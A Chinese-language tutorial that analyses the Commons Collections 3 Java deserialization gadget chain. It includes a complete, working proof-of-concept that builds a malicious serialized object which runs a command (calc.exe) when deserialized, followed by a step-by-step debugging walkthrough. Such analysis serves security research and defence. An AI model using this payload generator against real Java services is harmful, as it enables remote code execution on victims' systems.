前言 仔细分析过CC1和CC2来看CC3就会好容易理解一点
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ObjectInputStream.readObject()         AnnotationInvocationHandler.readObject()             Map(Proxy).entrySet()                 AnnotationInvocationHandler.invoke()                     LazyMap.get()                         ChainedTransformer.transform()                         ConstantTransformer.transform()                         InstantiateTransformer.transform()                         newInstance()                             TrAXFilter#TrAXFilter()                             TemplatesImpl.newTransformer()                                      TemplatesImpl.getTransletInstance()                                      TemplatesImpl.defineTransletClasses                                      newInstance()                                         Runtime.exec() 
 
前置知识 cc2里我们需要通过TemplatesImpl#newTransformer来实现命令执行,在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer
CC3中会用到两个新的类,这里先介绍一下:
TrAXFilter 
在该类的构造方法中,调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;
CC2中,就是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法 
InstantiateTransformer 
该类实现了Transformer、Serializable接口 
在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回; 
POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package blckder02; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class CC3 {     public static void main(String[] args) throws Exception {         //使用Javassit新建一个含有static的类         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass cc = pool.makeClass("Cat");         String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";         cc.makeClassInitializer().insertBefore(cmd);         String randomClassName = "EvilCat" + System.nanoTime();         cc.setName(randomClassName);         cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));         cc.writeFile();         byte[] classBytes = cc.toBytecode();         byte[][] targetByteCodes = new byte[][]{classBytes};         //补充实例化新建类所需的条件         TemplatesImpl templates = TemplatesImpl.class.newInstance();         setFieldValue(templates, "_bytecodes", targetByteCodes);         setFieldValue(templates, "_name", "blckder02");         setFieldValue(templates, "_class", null);         //实例化新建类         Transformer[] transformers = new Transformer[] {                 new ConstantTransformer(TrAXFilter.class),                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})         };         ChainedTransformer transformerChain = new ChainedTransformer(transformers);         //调用get()中的transform方法         HashMap innermap = new HashMap();         LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);         //设置代理,触发invoke()调用get()方法         Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);         construct.setAccessible(true);         InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);         InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);         try{             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));             outputStream.writeObject(handler2);             outputStream.close();             ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));             inputStream.readObject();         }catch(Exception e){             e.printStackTrace();         }     }     public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {         final Field field = getField(obj.getClass(), fieldName);         field.set(obj, value);     }     public static Field getField(final Class<?> clazz, final String fieldName) {         Field field = null;         try {             field = clazz.getDeclaredField(fieldName);             field.setAccessible(true);         }         catch (NoSuchFieldException ex) {             if (clazz.getSuperclass() != null)                 field = getField(clazz.getSuperclass(), fieldName);         }         return field;     } } 
 
代码1 
1 2 3 4 5 6 7 8 9 10 11 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.writeFile(); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; 
 
使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码; 最后把该类转换为字节码存到targetByteCodes数组中; 
代码2 
1 2 3 4 TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "blckder02"); setFieldValue(templates, "_class", null); 
 
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;代码3 
1 2 3 4 5 Transformer[] transformers = new Transformer[] {         new ConstantTransformer(TrAXFilter.class),         new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); 
 
这里有一些不一样,将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行; 然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调 
代码4 
1 2 HashMap innermap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain); 
 
new了一个LazyMap的对象,LazyMap的get()方法调用了transform()方法,factory参数就是传入的transformerChain,达到了代码3的条件;
接着就是要找一个调用get()的地方,
代码5 
1 2 3 4 5 6 7 8 Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1); InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap); 
 
这里看过p神的文章应该挺熟悉的
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#getAnnotationInvocationHandler是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler中的invoke方法; 
 
而在readObject方法中调用了entrySet()方法,所以触发invoke 
在invoke方法中就调用了get方法
这样就基本上达到了执行命令所需要的条件
POC调试 this.memberValues参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法; 
跟进get方法,factory参数为ChainedTransformer的实例化对象,这里调用了它的transform方法 
跟进到ChainedTransformer.transform(),对transformers[]数组进行循环 
跟进它的transform方法,input参数值为TrAXFilter,iParamTypes参数值为Templates,iArgs参数值为TemplatesImpl的实例化对象templates,return了TrAXFilter类对象 
在getConstructor(iParamTypes)获取它参数为Templates类的构造方法时,调用了TransformerImpl的newTransformer() 
跟进newTransformer(),调用了getTransletInstance()方法 
跟进,_name参数值为我们传入的blckder02,进入第二个if,_class参数值为null,_bytecodes参数值为用javassit创建的类的字节码;
最后实例化_class[_transletIndex] 
执行static中的代码